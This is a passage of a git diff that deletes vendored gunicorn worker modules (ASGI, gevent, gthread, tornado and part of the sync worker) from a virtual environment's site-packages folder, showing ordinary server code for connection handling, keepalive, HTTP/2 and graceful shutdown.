- reopen log files.""" - self.log.reopen_files() - - def handle_winch_signal(self): - """Handle SIGWINCH - ignored in worker.""" - self.log.debug("worker: SIGWINCH ignored.") - - def handle_abort_signal(self): - """Handle SIGABRT - abort.""" - self.alive = False - self.cfg.worker_abort(self) - sys.exit(1) - - def run(self): - """Main entry point for the worker.""" - try: - self.loop.run_until_complete(self._serve()) - except Exception as e: - self.log.exception("Worker exception: %s", e) - finally: - self._cleanup() - - async def _serve(self): - """Main async serving loop.""" - # Run lifespan startup - lifespan_mode = getattr(self.cfg, 'asgi_lifespan', 'auto') - if lifespan_mode != "off": - from gunicorn.asgi.lifespan import LifespanManager - self.lifespan = LifespanManager(self.asgi, self.log, self.state) - try: - await self.lifespan.startup() - except Exception as e: - if lifespan_mode == "on": - self.log.error("ASGI lifespan startup failed: %s", e) - return - else: - # auto mode - app doesn't support lifespan - self.log.debug("ASGI lifespan not supported by app: %s", e) - self.lifespan = None - - # Create servers for each listener socket - ssl_context = self._get_ssl_context() - - for sock in self.sockets: - try: - server = await self.loop.create_server( - lambda: ASGIProtocol(self), - sock=sock.sock, - ssl=ssl_context, - reuse_address=True, - start_serving=True, - ) - self.servers.append(server) - self.log.info("ASGI server listening on %s", sock) - except Exception as e: - self.log.error("Failed to create server on %s: %s", sock, e) - - if not self.servers: - self.log.error("No servers could be started") - return - - # Main loop with heartbeat - try: - while self.alive: - self.notify() - - # Check if parent is still alive - if self.ppid != os.getppid(): - self.log.info("Parent changed, shutting down: %s", self) - break - - # Check connection limit - # (Connections are managed by nr_conns in ASGIProtocol) - - await asyncio.sleep(1.0) - - except asyncio.CancelledError: - pass - - # Graceful shutdown - await self._shutdown() - - async def _shutdown(self): - """Perform graceful shutdown.""" - self.log.info("Worker shutting down...") - - # Stop accepting new connections - for server in self.servers: - server.close() - - # Wait for servers to close (skip on quick shutdown) - if not self._quick_shutdown: - for server in self.servers: - if self._quick_shutdown: - break - try: - await asyncio.wait_for(server.wait_closed(), timeout=0.5) - except asyncio.TimeoutError: - pass # Check _quick_shutdown on next iteration - - # Wait for in-flight connections (skip on quick shutdown) - if self.nr_conns > 0 and not self._quick_shutdown: - graceful_timeout = self.cfg.graceful_timeout - self.log.info("Waiting for %d connections to finish...", self.nr_conns) - deadline = self.loop.time() + graceful_timeout - while self.nr_conns > 0 and self.loop.time() < deadline: - if self._quick_shutdown: - self.log.info("Quick shutdown requested") - break - await asyncio.sleep(0.1) - - if self.nr_conns > 0: - self.log.warning("Forcing close of %d connections", self.nr_conns) - - # Run lifespan shutdown (skip on quick shutdown) - if self.lifespan and not self._quick_shutdown: - try: - await self.lifespan.shutdown() - except Exception as e: - self.log.error("ASGI lifespan shutdown error: %s", e) - - def _get_ssl_context(self): - """Get SSL context if configured.""" - if not self.cfg.is_ssl: - return None - - try: - from gunicorn import sock - return sock.ssl_context(self.cfg) - except Exception as e: - self.log.error("Failed to create SSL context: %s", e) - return None - - def _cleanup(self): - """Clean up resources on exit.""" - try: - # Cancel all pending tasks - pending = asyncio.all_tasks(self.loop) - for task in pending: - task.cancel() - - # Run loop until all tasks are cancelled (with timeout on quick exit) - if pending: - gather = asyncio.gather(*pending, return_exceptions=True) - if self._quick_shutdown: - # Quick exit - don't wait long for tasks to cancel - try: - self.loop.run_until_complete( - asyncio.wait_for(gather, timeout=1.0) - ) - except asyncio.TimeoutError: - self.log.debug("Timeout waiting for tasks to cancel") - else: - self.loop.run_until_complete(gather) - - self.loop.close() - except Exception as e: - self.log.debug("Cleanup error: %s", e) - - # Close sockets - for s in self.sockets: - try: - s.close() - except Exception: - pass diff --git a/venv/Lib/site-packages/gunicorn/workers/ggevent.py b/venv/Lib/site-packages/gunicorn/workers/ggevent.py deleted file mode 100644 index 2e6238743824d937d03afc2e8338e29fd3601711..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/workers/ggevent.py +++ /dev/null @@ -1,190 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import os -import sys -from datetime import datetime -from functools import partial -import time - -try: - import gevent -except ImportError: - raise RuntimeError("gevent worker requires gevent 24.10.1 or higher") -else: - from packaging.version import parse as parse_version - if parse_version(gevent.__version__) < parse_version('24.10.1'): - raise RuntimeError("gevent worker requires gevent 24.10.1 or higher") - -from gevent.pool import Pool -from gevent.server import StreamServer -from gevent import hub, monkey, socket, pywsgi - -import gunicorn -from gunicorn.http.wsgi import base_environ -from gunicorn.sock import ssl_context -from gunicorn.workers.base_async import AsyncWorker - -VERSION = "gevent/%s gunicorn/%s" % (gevent.__version__, gunicorn.__version__) - - -class GeventWorker(AsyncWorker): - - server_class = None - wsgi_handler = None - - def patch(self): - monkey.patch_all() - - # patch sockets - sockets = [] - for s in self.sockets: - sockets.append(socket.socket(s.FAMILY, socket.SOCK_STREAM, - fileno=s.sock.detach())) - self.sockets = sockets - - def notify(self): - super().notify() - if self.ppid != os.getppid(): - self.log.info("Parent changed, shutting down: %s", self) - sys.exit(0) - - def timeout_ctx(self): - return gevent.Timeout(self.cfg.keepalive, False) - - def run(self): - servers = [] - ssl_args = {} - - if self.cfg.is_ssl: - ssl_args = {"ssl_context": ssl_context(self.cfg)} - - for s in self.sockets: - s.setblocking(1) - pool = Pool(self.worker_connections) - if self.server_class is not None: - environ = base_environ(self.cfg) - environ.update({ - "wsgi.multithread": True, - "SERVER_SOFTWARE": VERSION, - }) - server = self.server_class( - s, application=self.wsgi, spawn=pool, log=self.log, - handler_class=self.wsgi_handler, environ=environ, - **ssl_args) - else: - hfun = partial(self.handle, s) - server = StreamServer(s, handle=hfun, spawn=pool, **ssl_args) - if self.cfg.workers > 1: - server.max_accept = 1 - - server.start() - servers.append(server) - - while self.alive: - self.notify() - gevent.sleep(1.0) - - try: - # Stop accepting requests - for server in servers: - server.close() - - # Handle current requests until graceful_timeout - ts = time.time() - while time.time() - ts <= self.cfg.graceful_timeout: - accepting = 0 - for server in servers: - if server.pool.free_count() != server.pool.size: - accepting += 1 - - # if no server is accepting a connection, we can exit - if not accepting: - return - - self.notify() - gevent.sleep(1.0) - - # Force kill all the active handlers - self.log.warning("Worker graceful timeout (pid:%s)", self.pid) - for server in servers: - server.stop(timeout=1) - except Exception: - pass - - def handle(self, listener, client, addr): - # Connected socket timeout defaults to socket.getdefaulttimeout(). - # This forces to blocking mode. - client.setblocking(1) - super().handle(listener, client, addr) - - def handle_request(self, listener_name, req, sock, addr): - try: - super().handle_request(listener_name, req, sock, addr) - except gevent.GreenletExit: - pass - except SystemExit: - pass - - def handle_quit(self, sig, frame): - # Move this out of the signal handler so we can use - # blocking calls. See #1126 - gevent.spawn(super().handle_quit, sig, frame) - - def handle_usr1(self, sig, frame): - # Make the gevent workers handle the usr1 signal - # by deferring to a new greenlet. See #1645 - gevent.spawn(super().handle_usr1, sig, frame) - - def init_process(self): - self.patch() - hub.reinit() - super().init_process() - - -class GeventResponse: - - status = None - headers = None - sent = None - - def __init__(self, status, headers, clength): - self.status = status - self.headers = headers - self.sent = clength - - -class PyWSGIHandler(pywsgi.WSGIHandler): - - def log_request(self): - start = datetime.fromtimestamp(self.time_start) - finish = datetime.fromtimestamp(self.time_finish) - response_time = finish - start - resp_headers = getattr(self, 'response_headers', {}) - - # Status is expected to be a string but is encoded to bytes in gevent for PY3 - # Except when it isn't because gevent uses hardcoded strings for network errors. - status = self.status.decode() if isinstance(self.status, bytes) else self.status - resp = GeventResponse(status, resp_headers, self.response_length) - if hasattr(self, 'headers'): - req_headers = self.headers.items() - else: - req_headers = [] - self.server.log.access(resp, req_headers, self.environ, response_time) - - def get_environ(self): - env = super().get_environ() - env['gunicorn.sock'] = self.socket - env['RAW_URI'] = self.path - return env - - -class PyWSGIServer(pywsgi.WSGIServer): - pass - - -class GeventPyWSGIWorker(GeventWorker): - "The Gevent StreamServer based workers." - server_class = PyWSGIServer - wsgi_handler = PyWSGIHandler diff --git a/venv/Lib/site-packages/gunicorn/workers/gthread.py b/venv/Lib/site-packages/gunicorn/workers/gthread.py deleted file mode 100644 index bf7711fc45db54c2f69b1033abd915afc7fc2fda..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/workers/gthread.py +++ /dev/null @@ -1,713 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -# design: -# A threaded worker accepts connections in the main loop, accepted -# connections are added to the thread pool as a connection job. -# Keepalive connections are put back in the loop waiting for an event. -# If no event happen after the keep alive timeout, the connection is -# closed. -# pylint: disable=no-else-break - -from concurrent import futures -import errno -import os -import queue -import selectors -import ssl -import sys -import time -from collections import deque -from datetime import datetime -from functools import partial - -from . import base -from .. import http -from .. import util -from .. import sock -from ..http import wsgi - - -# Sentinel value to indicate connection should be deferred back to poller -_DEFER = object() - -# Default timeout (in seconds) for waiting for request data in worker thread. -# If no data arrives within this timeout, the connection is deferred back to -# the main poller to prevent thread pool exhaustion from slow clients. -DEFAULT_WORKER_DATA_TIMEOUT = 5.0 - - -class TConn: - - def __init__(self, cfg, sock, client, server): - self.cfg = cfg - self.sock = sock - self.client = client - self.server = server - - self.timeout = None - self.parser = None - self.initialized = False - self.is_http2 = False - # Track if we've already waited for data (to avoid waiting again after defer) - self.data_ready = False - - # set the socket to non blocking - self.sock.setblocking(False) - - def init(self): - # Guard against double initialization - if self.initialized: - return - self.initialized = True - self.sock.setblocking(True) - - if self.parser is None: - # wrap the socket if needed - if self.cfg.is_ssl: - self.sock = sock.ssl_wrap_socket(self.sock, self.cfg) - - # Complete the handshake to ensure ALPN negotiation is done - # (needed if do_handshake_on_connect is False) - if not self.cfg.do_handshake_on_connect: - self.sock.do_handshake() - - # Check if HTTP/2 was negotiated via ALPN - if sock.is_http2_negotiated(self.sock): - self.is_http2 = True - self.parser = http.get_parser( - self.cfg, self.sock, self.client, http2_connection=True - ) - self.parser.initiate_connection() - return - - # initialize the HTTP/1.x parser - self.parser = http.get_parser(self.cfg, self.sock, self.client) - - def set_timeout(self): - # Use monotonic clock for reliability (time.time() can jump due to NTP) - self.timeout = time.monotonic() + self.cfg.keepalive - - def wait_for_data(self, timeout): - """Wait for data to be available on the socket. - - Uses selectors to wait for the socket to become readable within - the given timeout. This prevents slow clients from blocking - thread pool slots indefinitely. - - Args: - timeout: Maximum time to wait in seconds. - - Returns: - True if data is available, False if timeout expired. - """ - if self.data_ready: - return True - - # Use a temporary selector to wait for data - sel = selectors.DefaultSelector() - try: - sel.register(self.sock, selectors.EVENT_READ) - events = sel.select(timeout=timeout) - if events: - self.data_ready = True - return True - return False - except (OSError, ValueError): - # Socket closed or invalid - return False - finally: - sel.close() - - def close(self, graceful=False): - if graceful: - self.sock.setblocking(True) - util.close_graceful(self.sock) - else: - util.close(self.sock) - - -class PollableMethodQueue: - """Thread-safe queue that can wake up a selector. - - Uses a pipe to allow worker threads to signal the main thread - when work is ready, enabling lock-free coordination. - - This approach is compatible with all POSIX systems including - Linux, macOS, FreeBSD, OpenBSD, and NetBSD. The pipe is set to - non-blocking mode to prevent worker threads from blocking if - the pipe buffer fills up under extreme load. - """ - - def __init__(self): - self._read_fd = None - self._write_fd = None - self._queue = None - - def init(self): - """Initialize the pipe and queue.""" - self._read_fd, self._write_fd = os.pipe() - # Set both ends to non-blocking: - # - Write: prevents worker threads from blocking if buffer is full - # - Read: allows run_callbacks to drain without blocking - os.set_blocking(self._read_fd, False) - os.set_blocking(self._write_fd, False) - self._queue = queue.SimpleQueue() - - def close(self): - """Close the pipe file descriptors.""" - if self._read_fd is not None: - try: - os.close(self._read_fd) - except OSError: - pass - if self._write_fd is not None: - try: - os.close(self._write_fd) - except OSError: - pass - - def fileno(self): - """Return the readable file descriptor for selector registration.""" - return self._read_fd - - def defer(self, callback, *args): - """Queue a callback to be run on the main thread. - - The callback is added to the queue first, then a wake-up byte - is written to the pipe. If the pipe write fails (buffer full), - it's safe to ignore because the main thread will eventually - drain the queue when it reads other wake-up bytes. - """ - self._queue.put(partial(callback, *args)) - try: - os.write(self._write_fd, b'\x00') - except OSError: - # Pipe buffer full (EAGAIN/EWOULDBLOCK) - safe to ignore - # The main thread will still process the queue - pass - - def run_callbacks(self, _fileobj, max_callbacks=50): - """Run queued callbacks. Called when the pipe is readable. - - Drains all available wake-up bytes and runs corresponding callbacks. - The max_callbacks limit prevents starvation of other event sources. - """ - # Read all available wake-up bytes (up to limit) - try: - data = os.read(self._read_fd, max_callbacks) - except OSError: - return - - # Run callbacks for each byte read, plus any extras in queue - # (extras can accumulate if pipe writes were dropped) - callbacks_run = 0 - while callbacks_run < len(data) + 10: # +10 to drain dropped writes - try: - callback = self._queue.get_nowait() - callback() - callbacks_run += 1 - except queue.Empty: - break - - -class ThreadWorker(base.Worker): - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self.worker_connections = self.cfg.worker_connections - self.max_keepalived = self.cfg.worker_connections - self.cfg.threads - - self.tpool = None - self.poller = None - self.method_queue = PollableMethodQueue() - self.keepalived_conns = deque() - # Connections waiting for data (deferred from thread pool) - self.pending_conns = deque() - self.nr_conns = 0 - self._accepting = False - - @classmethod - def check_config(cls, cfg, log): - max_keepalived = cfg.worker_connections - cfg.threads - - if max_keepalived <= 0 and cfg.keepalive: - log.warning("No keepalived connections can be handled. " + - "Check the number of worker connections and threads.") - - def init_process(self): - self.tpool = self.get_thread_pool() - self.poller = selectors.DefaultSelector() - self.method_queue.init() - super().init_process() - - def get_thread_pool(self): - """Override this method to customize how the thread pool is created""" - return futures.ThreadPoolExecutor(max_workers=self.cfg.threads) - - def handle_exit(self, sig, frame): - """Handle SIGTERM - begin graceful shutdown.""" - if self.alive: - self.alive = False - # Wake up the poller so it can start shutdown - self.method_queue.defer(lambda: None) - - def handle_quit(self, sig, frame): - """Handle SIGQUIT - immediate shutdown.""" - self.tpool.shutdown(wait=False) - super().handle_quit(sig, frame) - - def set_accept_enabled(self, enabled): - """Enable or disable accepting new connections.""" - if enabled == self._accepting: - return - - for listener in self.sockets: - if enabled: - listener.setblocking(False) - self.poller.register(listener, selectors.EVENT_READ, self.accept) - else: - self.poller.unregister(listener) - - self._accepting = enabled - - def enqueue_req(self, conn): - """Submit connection to thread pool for processing.""" - fs = self.tpool.submit(self.handle, conn) - fs.add_done_callback( - lambda fut: self.method_queue.defer(self.finish_request, conn, fut)) - - def accept(self, listener): - """Accept a new connection from a listener socket.""" - try: - client_sock, client_addr = listener.accept() - self.nr_conns += 1 - client_sock.setblocking(True) - - conn = TConn(self.cfg, client_sock, client_addr, listener.getsockname()) - - # Submit directly to thread pool for processing - self.enqueue_req(conn) - except OSError as e: - if e.errno not in (errno.EAGAIN, errno.ECONNABORTED, errno.EWOULDBLOCK): - raise - - def on_client_socket_readable(self, conn, client): - """Handle a keepalive connection becoming readable.""" - self.poller.unregister(client) - self.keepalived_conns.remove(conn) - - # Submit to thread pool for processing - self.enqueue_req(conn) - - def on_pending_socket_readable(self, conn, client): - """Handle a pending (deferred) connection becoming readable.""" - self.poller.unregister(client) - self.pending_conns.remove(conn) - - # Mark data as ready so we don't wait again in handle() - conn.data_ready = True - - # Submit to thread pool for processing - self.enqueue_req(conn) - - def murder_keepalived(self): - """Close expired keepalive connections.""" - now = time.monotonic() - while self.keepalived_conns: - conn = self.keepalived_conns[0] - delta = conn.timeout - now - if delta > 0: - break - - # Connection has timed out - self.keepalived_conns.popleft() - try: - self.poller.unregister(conn.sock) - except (OSError, KeyError, ValueError): - pass # Already unregistered - self.nr_conns -= 1 - conn.close() - - def murder_pending(self): - """Close expired pending connections (waiting for initial data).""" - now = time.monotonic() - while self.pending_conns: - conn = self.pending_conns[0] - delta = conn.timeout - now - if delta > 0: - break - - # Connection has timed out waiting for data - self.pending_conns.popleft() - try: - self.poller.unregister(conn.sock) - except (OSError, KeyError, ValueError): - pass # Already unregistered - self.nr_conns -= 1 - conn.close() - - def is_parent_alive(self): - # If our parent changed then we shut down. - if self.ppid != os.getppid(): - self.log.info("Parent changed, shutting down: %s", self) - return False - return True - - def wait_for_and_dispatch_events(self, timeout): - """Wait for events and dispatch callbacks.""" - try: - events = self.poller.select(timeout) - for key, _ in events: - callback = key.data - callback(key.fileobj) - except OSError as e: - if e.errno != errno.EINTR: - raise - - def run(self): - # Register the method queue with the poller - self.poller.register(self.method_queue.fileno(), - selectors.EVENT_READ, - self.method_queue.run_callbacks) - - # Start accepting connections - self.set_accept_enabled(True) - - while self.alive: - # Notify the arbiter we are alive - self.notify() - - # Check if we can accept more connections - can_accept = self.nr_conns < self.worker_connections - if can_accept != self._accepting: - self.set_accept_enabled(can_accept) - - # Wait for events (unified event loop - no futures.wait()) - self.wait_for_and_dispatch_events(timeout=1.0) - - if not self.is_parent_alive(): - break - - # Handle keepalive and pending connection timeouts - self.murder_keepalived() - self.murder_pending() - - # Graceful shutdown: stop accepting but handle existing connections - self.set_accept_enabled(False) - - # Wait for in-flight connections within grace period - graceful_timeout = time.monotonic() + self.cfg.graceful_timeout - while self.nr_conns > 0: - time_remaining = max(graceful_timeout - time.monotonic(), 0) - if time_remaining == 0: - break - self.wait_for_and_dispatch_events(timeout=time_remaining) - self.murder_keepalived() - self.murder_pending() - - # Cleanup - self.tpool.shutdown(wait=False) - self.poller.close() - self.method_queue.close() - - for s in self.sockets: - s.close() - - def finish_request(self, conn, fs): - """Handle completion of a request (called via method_queue on main thread).""" - try: - result = fs.result() if not fs.cancelled() else False - - if result is _DEFER and self.alive: - # Connection deferred - no data arrived within timeout. - # Put it on the poller to wait for data without consuming a thread. - conn.sock.setblocking(False) - # Use keepalive timeout for pending connections too - conn.timeout = time.monotonic() + self.cfg.keepalive - self.pending_conns.append(conn) - self.poller.register(conn.sock, selectors.EVENT_READ, - partial(self.on_pending_socket_readable, conn)) - elif result and self.alive: - # Keepalive - put connection back in the poller - conn.sock.setblocking(False) - conn.set_timeout() - self.keepalived_conns.append(conn) - self.poller.register(conn.sock, selectors.EVENT_READ, - partial(self.on_client_socket_readable, conn)) - else: - self.nr_conns -= 1 - conn.close(graceful=True) - except Exception: - self.nr_conns -= 1 - conn.close() - - def handle(self, conn): - """Handle a request on a connection. Runs in a worker thread.""" - req = None - try: - # For new connections (not yet initialized), wait for data with timeout - # to prevent slow clients from blocking thread pool slots indefinitely. - # Skip this for already-initialized connections (keepalive, deferred) - # since they're coming from the poller and data is already available. - if not conn.initialized and not conn.data_ready: - # Wait for data with timeout before committing this thread - if not conn.wait_for_data(DEFAULT_WORKER_DATA_TIMEOUT): - # No data within timeout - defer to poller - return _DEFER - - # Always ensure blocking mode in worker thread. - # Critical for keepalive connections: the socket is set to non-blocking - # for the selector in finish_request(), but must be blocking for - # request/body reading to avoid SSLWantReadError on SSL connections. - conn.sock.setblocking(True) - - # Initialize connection in worker thread to handle SSL errors gracefully - # (ENOTCONN from ssl_wrap_socket would crash main thread otherwise) - conn.init() - - # HTTP/2 connections require special handling - if conn.is_http2: - return self.handle_http2(conn) - - req = next(conn.parser) - if not req: - return False - - # Handle the request - keepalive = self.handle_request(req, conn) - if keepalive: - # Discard any unread request body before keepalive to prevent - # the socket from appearing readable due to leftover bytes. - # Bound the drain by the worker data timeout: a stalled client - # must not keep this thread blocked. - drain_deadline = time.monotonic() + DEFAULT_WORKER_DATA_TIMEOUT - if not conn.parser.finish_body(deadline=drain_deadline): - # Abandon keepalive when the body could not be fully drained. - return False - return True - except http.errors.NoMoreData as e: - self.log.debug("Ignored premature client disconnection. %s", e) - except StopIteration as e: - self.log.debug("Closing connection. %s", e) - except ssl.SSLError as e: - if e.args[0] == ssl.SSL_ERROR_EOF: - self.log.debug("ssl connection closed") - conn.sock.close() - else: - self.log.debug("Error processing SSL request.") - self.handle_error(req, conn.sock, conn.client, e) - except OSError as e: - if e.errno not in (errno.EPIPE, errno.ECONNRESET, errno.ENOTCONN): - self.log.exception("Socket error processing request.") - else: - if e.errno == errno.ECONNRESET: - self.log.debug("Ignoring connection reset") - elif e.errno == errno.ENOTCONN: - self.log.debug("Ignoring socket not connected") - else: - self.log.debug("Ignoring connection epipe") - except Exception as e: - self.handle_error(req, conn.sock, conn.client, e) - - return False - - def handle_http2(self, conn): - """Handle an HTTP/2 connection. Runs in a worker thread. - - HTTP/2 connections are persistent and multiplex multiple streams. - We handle all streams until the connection is closed. - - Returns: - False (HTTP/2 connections don't use keepalive polling) - """ - h2_conn = conn.parser # HTTP2ServerConnection - - try: - while not h2_conn.is_closed and self.alive: - # Receive data and get completed requests - requests = h2_conn.receive_data() - - for req in requests: - try: - self.handle_http2_request(req, conn, h2_conn) - except Exception as e: - self.log.exception("Error handling HTTP/2 request") - try: - h2_conn.send_error(req.stream.stream_id, 500, str(e)) - except Exception: - pass - finally: - # Cleanup stream after processing - h2_conn.cleanup_stream(req.stream.stream_id) - - # Check if we need to close - if not self.alive: - h2_conn.close() - break - - except http.errors.NoMoreData: - self.log.debug("HTTP/2 connection closed by client") - except ssl.SSLError as e: - if e.args[0] == ssl.SSL_ERROR_EOF: - self.log.debug("HTTP/2 SSL connection closed") - else: - self.log.debug("HTTP/2 SSL error: %s", e) - except OSError as e: - if e.errno not in (errno.EPIPE, errno.ECONNRESET, errno.ENOTCONN): - self.log.exception("HTTP/2 socket error") - except Exception: - self.log.exception("HTTP/2 connection error") - - return False - - def handle_http2_request(self, req, conn, h2_conn): - """Handle a single HTTP/2 request/stream.""" - environ = {} - resp = None - stream_id = req.stream.stream_id - - try: - self.cfg.pre_request(self, req) - request_start = datetime.now() - - # Create WSGI environ - resp, environ = wsgi.create(req, conn.sock, conn.client, - conn.server, self.cfg) - environ["wsgi.multithread"] = True - environ["HTTP_VERSION"] = "2" # Indicate HTTP/2 - - # Replace wsgi.early_hints with HTTP/2-specific version - def send_early_hints_h2(headers): - """Send 103 Early Hints over HTTP/2.""" - h2_conn.send_informational(stream_id, 103, headers) - - environ["wsgi.early_hints"] = send_early_hints_h2 - - # Add HTTP/2 trailer support - pending_trailers = [] - - def send_trailers_h2(trailers): - """Queue trailers to be sent after response body.""" - pending_trailers.extend(trailers) - - environ["gunicorn.http2.send_trailers"] = send_trailers_h2 - - self.nr += 1 - if self.nr >= self.max_requests: - if self.alive: - self.log.info("Autorestarting worker after current request.") - self.alive = False - - # Run WSGI app - respiter = self.wsgi(environ, resp.start_response) - - # Collect response body - response_body = b'' - try: - if hasattr(respiter, '__iter__'): - for item in respiter: - if item: - response_body += item - finally: - if hasattr(respiter, "close"): - respiter.close() - - # Send response via HTTP/2 - if pending_trailers: - # Send headers, body, then trailers separately - # Build response headers with :status pseudo-header - response_headers = [(':status', str(resp.status_code))] - for name, value in resp.headers: - response_headers.append((name.lower(), str(value))) - - # Send headers without ending stream - h2_conn.h2_conn.send_headers(stream_id, response_headers, end_stream=False) - stream = h2_conn.streams[stream_id] - stream.send_headers(response_headers, end_stream=False) - h2_conn._send_pending_data() - - # Send body without ending stream - if response_body: - h2_conn.h2_conn.send_data(stream_id, response_body, end_stream=False) - stream.send_data(response_body, end_stream=False) - h2_conn._send_pending_data() - - # Send trailers (ends stream) - h2_conn.send_trailers(stream_id, pending_trailers) - else: - # No trailers, use standard response - h2_conn.send_response( - stream_id, - resp.status_code, - resp.headers, - response_body - ) - - request_time = datetime.now() - request_start - self.log.access(resp, req, environ, request_time) - - finally: - try: - self.cfg.post_request(self, req, environ, resp) - except Exception: - self.log.exception("Exception in post_request hook") - - def handle_request(self, req, conn): - environ = {} - resp = None - try: - self.cfg.pre_request(self, req) - request_start = datetime.now() - resp, environ = wsgi.create(req, conn.sock, conn.client, - conn.server, self.cfg) - environ["wsgi.multithread"] = True - self.nr += 1 - if self.nr >= self.max_requests: - if self.alive: - self.log.info("Autorestarting worker after current request.") - self.alive = False - resp.force_close() - - if not self.alive or not self.cfg.keepalive: - resp.force_close() - elif len(self.keepalived_conns) >= self.max_keepalived: - resp.force_close() - - respiter = self.wsgi(environ, resp.start_response) - try: - if isinstance(respiter, environ['wsgi.file_wrapper']): - resp.write_file(respiter) - else: - for item in respiter: - resp.write(item) - - resp.close() - finally: - request_time = datetime.now() - request_start - self.log.access(resp, req, environ, request_time) - if hasattr(respiter, "close"): - respiter.close() - - if resp.should_close(): - self.log.debug("Closing connection.") - return False - except OSError: - # pass to next try-except level - util.reraise(*sys.exc_info()) - except Exception: - if resp and resp.headers_sent: - # If the requests have already been sent, we should close the - # connection to indicate the error. - self.log.exception("Error handling request") - util.close_graceful(conn.sock) - raise StopIteration() - raise - finally: - try: - self.cfg.post_request(self, req, environ, resp) - except Exception: - self.log.exception("Exception in post_request hook") - - return True diff --git a/venv/Lib/site-packages/gunicorn/workers/gtornado.py b/venv/Lib/site-packages/gunicorn/workers/gtornado.py deleted file mode 100644 index f5fc5dfb0da32c970aed701a88af2d5a006b75de..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/workers/gtornado.py +++ /dev/null @@ -1,124 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import os -import sys - -try: - import tornado -except ImportError: - raise RuntimeError("You need tornado installed to use this worker.") -import tornado.web -import tornado.httpserver -from tornado.ioloop import IOLoop, PeriodicCallback -from tornado.wsgi import WSGIContainer -from gunicorn.workers.base import Worker -from gunicorn import __version__ as gversion -from gunicorn.sock import ssl_context - - -class TornadoWorker(Worker): - - @classmethod - def setup(cls): - web = sys.modules.pop("tornado.web") - old_clear = web.RequestHandler.clear - - def clear(self): - old_clear(self) - if "Gunicorn" not in self._headers["Server"]: - self._headers["Server"] += " (Gunicorn/%s)" % gversion - web.RequestHandler.clear = clear - sys.modules["tornado.web"] = web - - def handle_exit(self, sig, frame): - if self.alive: - super().handle_exit(sig, frame) - - def handle_request(self): - self.nr += 1 - if self.alive and self.nr >= self.max_requests: - self.log.info("Autorestarting worker after current request.") - self.alive = False - - def watchdog(self): - if self.alive: - self.notify() - - if self.ppid != os.getppid(): - self.log.info("Parent changed, shutting down: %s", self) - self.alive = False - - def heartbeat(self): - if not self.alive: - if self.server_alive: - if hasattr(self, 'server'): - try: - self.server.stop() - except Exception: - pass - self.server_alive = False - else: - for callback in self.callbacks: - callback.stop() - self.ioloop.stop() - - def init_process(self): - # IOLoop cannot survive a fork or be shared across processes - # in any way. When multiple processes are being used, each process - # should create its own IOLoop. We should clear current IOLoop - # if exists before os.fork. - IOLoop.clear_current() - super().init_process() - - def run(self): - self.ioloop = IOLoop.instance() - self.alive = True - self.server_alive = False - - # Warn if HTTP/2 is requested - tornado worker doesn't support it - if 'h2' in self.cfg.http_protocols: - self.log.warning( - "HTTP/2 is not supported by the tornado worker. " - "Use gthread, gevent, or asgi workers for HTTP/2 support. " - "Falling back to HTTP/1.1 only." - ) - - self.callbacks = [] - self.callbacks.append(PeriodicCallback(self.watchdog, 1000)) - self.callbacks.append(PeriodicCallback(self.heartbeat, 1000)) - for callback in self.callbacks: - callback.start() - - # Assume the app is a WSGI callable if its not an - # instance of tornado.web.Application or WSGIContainer - app = self.wsgi - if not isinstance(app, WSGIContainer) and \ - not isinstance(app, tornado.web.Application): - app = WSGIContainer(app) - - worker = self - - class _HTTPServer(tornado.httpserver.HTTPServer): - - def on_close(self, server_conn): - worker.handle_request() - super().on_close(server_conn) - - if self.cfg.is_ssl: - server = _HTTPServer(app, ssl_options=ssl_context(self.cfg)) - else: - server = _HTTPServer(app) - - self.server = server - self.server_alive = True - - for s in self.sockets: - s.setblocking(0) - server.add_socket(s) - - server.no_keep_alive = self.cfg.keepalive <= 0 - server.start(num_processes=1) - - self.ioloop.start() diff --git a/venv/Lib/site-packages/gunicorn/workers/sync.py b/venv/Lib/site-packages/gunicorn/workers/sync.py deleted file mode 100644 index c11597f22ef46deb0f81babf10908b0f3a2197cf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/workers/sync.py +++ /dev/null @@ -1,212 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. -# - -from datetime import datetime -import errno -import os -import select -import ssl -import sys - -from gunicorn import http -from gunicorn.http import wsgi -from gunicorn import sock -from gunicorn import util -from gunicorn.workers import base - - -class StopWaiting(Exception): - """ exception raised to stop waiting for a connection """ - - -class SyncWorker(base.Worker): - - def accept(self, listener): - client, addr = listener.accept() - client.setblocking(1) - util.close_on_exec(client) - self.handle(listener, client, addr) - - def wait(self, timeout): - try: - self.notify() - ret = select.select(self.wait_fds, [], [], timeout) - if ret[0]: - if self.PIPE[0] in ret[0]: - os.read(self.PIPE[0], 1) - return ret[0] - - except OSError as e: - if e.args[0] == errno.EINTR: - return self.sockets - if e.args[0] == errno.EBADF: - if self.nr < 0: - return self.sockets - else: - raise StopWaiting - raise - - def is_parent_alive(self): - # If our parent changed then we shut down. - if self.ppid != os.getppid(): - self.log.info("Parent changed, shutting down: %s", self) - return False - return True - - def run_for_one(self, timeout): - listener = self.sockets[0] - while self.alive: - self.notify() - - # Accept a connection. If we get an error telling us - # that no connection is waiting we fall down to the - # select which is where we'll wait for a bit for new - # workers to come give us some love. - try: - self.accept(listener) - # Keep processing clients until no one is waiting. This - # prevents the need to select() for every client that we - # process. - continue - - except OSError as e: - if e.errno not in (errno.EAGAIN, errno.ECONNABORTED, - errno.EWOULDBLOCK): - raise - - if not self.is_parent_alive(): - return - - try: - self.wait(timeout) - except StopWaiting: - return - - def run_for_multiple(self, timeout): - while self.alive: - self.notify() - - try: - ready = self.wait(timeout) - except StopWaiting: - return - - if ready is not None: - for listener in ready: - if listener == self.PIPE[0]: - continue - - try: - self.accept(listener) - except OSError as e: - if e.errno not in (errno.EAGAIN, errno.ECONNABORTED, - errno.EWOULDBLOCK): - raise - - if not self.is_parent_alive(): - return - - def run(self): - # if no timeout is given the worker will never wait and will - # use the CPU for nothing. This minimal timeout prevent it. 